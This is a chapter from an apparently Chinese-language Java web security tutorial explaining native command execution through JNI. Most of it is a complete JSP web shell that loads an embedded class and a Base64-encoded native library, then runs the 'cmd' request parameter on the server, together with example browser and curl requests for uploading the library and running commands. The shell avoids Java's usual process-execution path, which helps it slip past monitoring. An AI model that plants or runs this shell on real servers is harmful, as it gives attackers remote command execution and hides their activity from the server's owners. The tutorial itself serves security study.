9.🍋 Java本地命令执行 - 7. JNI命令执行 - 《Java Web学习》

Java可以通过JNI的方式调用动态链接库，我们只需要在动态链接库中写一个本地命令执行的方法就行了。至于如何写JNI动态链接库写我们将在JNI章节中详解。

load_library.jsp命令执行测试(不依赖Java的forkAndExec)：
**

<%--
  Created by IntelliJ IDEA.
  User: yz
  Date: 2019/12/6
  Time: 4:59 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
    private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";
    /**
     * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
     * 只有一个public static native String exec(String cmd);的方法
     */
    private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
            0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
            101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
            110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
            99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
            101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
            99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
            111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
            106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
            2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
            0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
            9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
    };
    // JNI文件Base64编码后的值,这里默认提供一份MacOS的JNI库文件用于测试，其他系统请自行编译
    private static final String COMMAND_JNI_FILE_BYTES = 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    /**
     * 获取JNI链接库目录
     * @return 返回缓存JNI的临时目录
     */
    File getTempJNILibFile() {
        File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
        if (!jniDir.exists()) {
            jniDir.mkdir();
        }
        return new File(jniDir, "libcmd.lib");
    }
    /**
     * 高版本JDKsun.misc.BASE64Decoder已经被移除，低版本JDK又没有java.util.Base64对象，
     * 所以还不如直接反射自动找这两个类，哪个存在就用那个decode。
     * @param str
     * @return
     */
    byte[] base64Decode(String str) {
        try {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (ClassNotFoundException e) {
                Class  clazz   = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        } catch (Exception e) {
            return null;
        }
    }
    /**
     * 写JNI链接库文件
     * @param base64 JNI动态库Base64
     * @return 返回是否写入成功
     */
    void writeJNILibFile(String base64) throws IOException {
        if (base64 != null) {
            File jniFile = getTempJNILibFile();
            if (!jniFile.exists()) {
                byte[] bytes = base64Decode(base64);
                if (bytes != null) {
                    FileOutputStream fos = new FileOutputStream(jniFile);
                    fos.write(bytes);
                    fos.flush();
                    fos.close();
                }
            }
        }
    }
%>
<%
    // 需要执行的命令
    String cmd = request.getParameter("cmd");
    // JNI链接库字节码,如果不传会使用"COMMAND_JNI_FILE_BYTES"值
    String jniBytes = request.getParameter("jni");
    // JNI路径
    File jniFile = getTempJNILibFile();
    ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");
    if (loader == null) {
        loader = new ClassLoader(this.getClass().getClassLoader()) {
            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    return super.findClass(name);
                } catch (ClassNotFoundException e) {
                    return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
                }
            }
        };
        writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录
        application.setAttribute("__LOADER__", loader);
    }
    try {
        // load命令执行类
        Class  commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
        Object loadLib      = application.getAttribute("__LOAD_LIB__");
        if (loadLib == null || !((Boolean) loadLib)) {
            Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
            loadLibrary0Method.setAccessible(true);
            loadLibrary0Method.invoke(loader, commandClass, jniFile);
            application.setAttribute("__LOAD_LIB__", true);
        }
        String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
        out.println("<pre>");
        out.println(content);
        out.println("</pre>");
    } catch (Exception e) {
        out.println(e.toString());
        throw e;
    }
%>

load_library.jsp默认提供了一个MacOSX的JNI库字符串Demo其他系统需要自行编译:com_anbai_sec_cmd_CommandExecution.cpp,编译方式参考后面的JNI章节。load_library.jsp接收两个参数:cmd和jni，参数描述：

cmd需要执行的本地命令
jni 动态链接库文件Base64+URL编码后的字符串(urlEncode(base64Encode(jniFile))),jni参数默认可以不传但是需要手动修改jsp中的COMMAND_JNI_FILE_BYTES变量，jni参数只需要传一次，第二次请求不需要带上。

浏览器请求:
http://localhost:8080/load_library.jsp?cmd=ls
命令行(POST传jni参数方式)：

curl http://localhost:8080/load_library.jsp?cmd=ifconfig -d "jni=JNI文件编码后的字符串"

浏览器访问load_library.jsp执行命令测试：
7. JNI命令执行 - 图1

这个JNI示例Demo结合了Java反射、ClassLoader机制、JNI三个知识点，相对新手来说会有较大难度，这里不做详细讲解，在后面的对应的章节将做出详细解读。